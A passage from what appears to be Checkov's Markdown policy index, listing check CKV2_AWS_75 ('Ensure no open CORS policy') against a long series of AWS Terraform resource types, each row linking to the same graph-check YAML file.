[LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2269 | CKV2_AWS_75     | resource | aws_appsync_type                                                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2270 | CKV2_AWS_75     | resource | aws_athena_data_catalog                                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2271 | CKV2_AWS_75     | resource | aws_athena_database                                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2272 | CKV2_AWS_75     | resource | aws_athena_named_query                                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2273 | CKV2_AWS_75     | resource | aws_athena_prepared_statement                                    | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2274 | CKV2_AWS_75     | resource | aws_athena_workgroup                                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2275 | CKV2_AWS_75     | resource | aws_auditmanager_account_registration                            | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2276 | CKV2_AWS_75     | resource | aws_auditmanager_assessment                                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2277 | CKV2_AWS_75     | resource | aws_auditmanager_assessment_delegation                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2278 | CKV2_AWS_75     | resource | aws_auditmanager_assessment_report                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2279 | CKV2_AWS_75     | resource | aws_auditmanager_control                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2280 | CKV2_AWS_75     | resource | aws_auditmanager_framework                                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2281 | CKV2_AWS_75     | resource | aws_auditmanager_framework_share                                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2282 | CKV2_AWS_75     | resource | aws_auditmanager_organization_admin_account_registration         | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2283 | CKV2_AWS_75     | resource | aws_autoscaling_attachment                                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2284 | CKV2_AWS_75     | resource | aws_autoscaling_group                                            | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2285 | CKV2_AWS_75     | resource | aws_autoscaling_group_tag                                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2286 | CKV2_AWS_75     | resource | aws_autoscaling_lifecycle_hook                                   | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2287 | CKV2_AWS_75     | resource | aws_autoscaling_notification                                     | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2288 | CKV2_AWS_75     | resource | aws_autoscaling_policy                                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2289 | CKV2_AWS_75     | resource | aws_autoscaling_schedule                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2290 | CKV2_AWS_75     | resource | aws_autoscaling_traffic_source_attachment                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2291 | CKV2_AWS_75     | resource | aws_autoscalingplans_scaling_plan                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2292 | CKV2_AWS_75     | resource | aws_az_info                                                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2293 | CKV2_AWS_75     | resource | aws_backup_framework                                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2294 | CKV2_AWS_75     | resource | aws_backup_global_settings                                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2295 | CKV2_AWS_75     | resource | aws_backup_logically_air_gapped_vault                            | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2296 | CKV2_AWS_75     | resource | aws_backup_plan                                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2297 | CKV2_AWS_75     | resource | aws_backup_region_settings                                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2298 | CKV2_AWS_75     | resource | aws_backup_report_plan                                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2299 | CKV2_AWS_75     | resource | aws_backup_restore_testing_plan                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2300 | CKV2_AWS_75     | resource | aws_backup_restore_testing_selection                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2301 | CKV2_AWS_75     | resource | aws_backup_selection                                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2302 | CKV2_AWS_75     | resource | aws_backup_vault                                                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2303 | CKV2_AWS_75     | resource | aws_backup_vault_lock_configuration                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2304 | CKV2_AWS_75     | resource | aws_backup_vault_notifications                                   | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2305 | CKV2_AWS_75     | resource | aws_backup_vault_policy                                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2306 | CKV2_AWS_75     | resource | aws_batch_compute_environment                                    | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2307 | CKV2_AWS_75     | resource | aws_batch_job_definition                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2308 | CKV2_AWS_75     | resource | aws_batch_job_queue                                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2309 | CKV2_AWS_75     | resource | aws_batch_scheduling_policy                                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2310 | CKV2_AWS_75     | resource | aws_bcmdataexports_export                                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2311 | CKV2_AWS_75     | resource | aws_bedrock_custom_model                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2312 | CKV2_AWS_75     | resource | aws_bedrock_guardrail                                            | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2313 | CKV2_AWS_75     | resource | aws_bedrock_guardrail_version                                    | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2314 | CKV2_AWS_75     | resource | aws_bedrock_inference_profile                                    | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2315 | CKV2_AWS_75     | resource | aws_bedrock_model_invocation_logging_configuration               | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2316 | CKV2_AWS_75     | resource | aws_bedrock_provisioned_model_throughput                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2317 | CKV2_AWS_75     | resource | aws_bedrockagent_agent                                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2318 | CKV2_AWS_75     | resource | aws_bedrockagent_agent_action_group                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2319 | CKV2_AWS_75     | resource | aws_bedrockagent_agent_alias                                     | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2320 | CKV2_AWS_75     | resource | aws_bedrockagent_agent_collaborator                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2321 | CKV2_AWS_75     | resource | aws_bedrockagent_agent_knowledge_base_association                | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2322 | CKV2_AWS_75     | resource | aws_bedrockagent_data_source                                     | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2323 | CKV2_AWS_75     | resource | aws_bedrockagent_knowledge_base                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2324 | CKV2_AWS_75     | resource | aws_budgets_budget                                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2325 | CKV2_AWS_75     | resource | aws_budgets_budget_action                                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2326 | CKV2_AWS_75     | resource | aws_caller_info                                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2327 | CKV2_AWS_75     | resource | aws_ce_anomaly_monitor                                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2328 | CKV2_AWS_75     | resource | aws_ce_anomaly_subscription                                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2329 | CKV2_AWS_75     | resource | aws_ce_cost_allocation_tag                                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2330 | CKV2_AWS_75     | resource | aws_ce_cost_category                                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2331 | CKV2_AWS_75     | resource | aws_chatbot_slack_channel_configuration                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2332 | CKV2_AWS_75     | resource | aws_chatbot_teams_channel_configuration                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2333 | CKV2_AWS_75     | resource | aws_chime_voice_connector                                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2334 | CKV2_AWS_75     | resource | aws_chime_voice_connector_group                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2335 | CKV2_AWS_75     | resource | aws_chime_voice_connector_logging                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2336 | CKV2_AWS_75     | resource | aws_chime_voice_connector_origination                            | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2337 | CKV2_AWS_75     | resource | aws_chime_voice_connector_streaming                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2338 | CKV2_AWS_75     | resource | aws_chime_voice_connector_termination                            | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2339 | CKV2_AWS_75     | resource | aws_chime_voice_connector_termination_credentials                | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2340 | CKV2_AWS_75     | resource | aws_chimesdkmediapipelines_media_insights_pipeline_configuration | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2341 | CKV2_AWS_75     | resource | aws_chimesdkvoice_global_settings                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2342 | CKV2_AWS_75     | resource | aws_chimesdkvoice_sip_media_application                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2343 | CKV2_AWS_75     | resource | aws_chimesdkvoice_sip_rule                                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2344 | CKV2_AWS_75     | resource | aws_chimesdkvoice_voice_profile_domain                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2345 | CKV2_AWS_75     | resource | aws_cleanrooms_collaboration                                     | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2346 | CKV2_AWS_75     | resource | aws_cleanrooms_configured_table                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2347 | CKV2_AWS_75     | resource | aws_cleanrooms_membership                                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2348 | CKV2_AWS_75     | resource | aws_cloud9_environment_ec2                                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2349 | CKV2_AWS_75     | resource | aws_cloud9_environment_membership                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2350 | CKV2_AWS_75     | resource | aws_cloudcontrolapi_resource                                     | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2351 | CKV2_AWS_75     | resource | aws_cloudformation_stack                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2352 | CKV2_AWS_75     | resource | aws_cloudformation_stack_instances                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2353 | CKV2_AWS_75     | resource | aws_cloudformation_stack_set                                     | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2354 | CKV2_AWS_75     | resource | aws_cloudformation_stack_set_instance                            | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2355 | CKV2_AWS_75     | resource | aws_cloudformation_type                                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2356 | CKV2_AWS_75     | resource | aws_cloudfront_cache_policy                                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2357 | CKV2_AWS_75     | resource | aws_cloudfront_continuous_deployment_policy                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2358 | CKV2_AWS_75     | resource | aws_cloudfront_distribution                                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2359 | CKV2_AWS_75     | resource | aws_cloudfront_field_level_encryption_config                     | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2360 | CKV2_AWS_75     | resource | aws_cloudfront_field_level_encryption_profile                    | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2361 | CKV2_AWS_75     | resource | aws_cloudfront_function                                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2362 | CKV2_AWS_75     | resource | aws_cloudfront_key_group                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2363 | CKV2_AWS_75     | resource | aws_cloudfront_key_value_store                                   | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2364 | CKV2_AWS_75     | resource | aws_cloudfront_monitoring_subscription                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform | 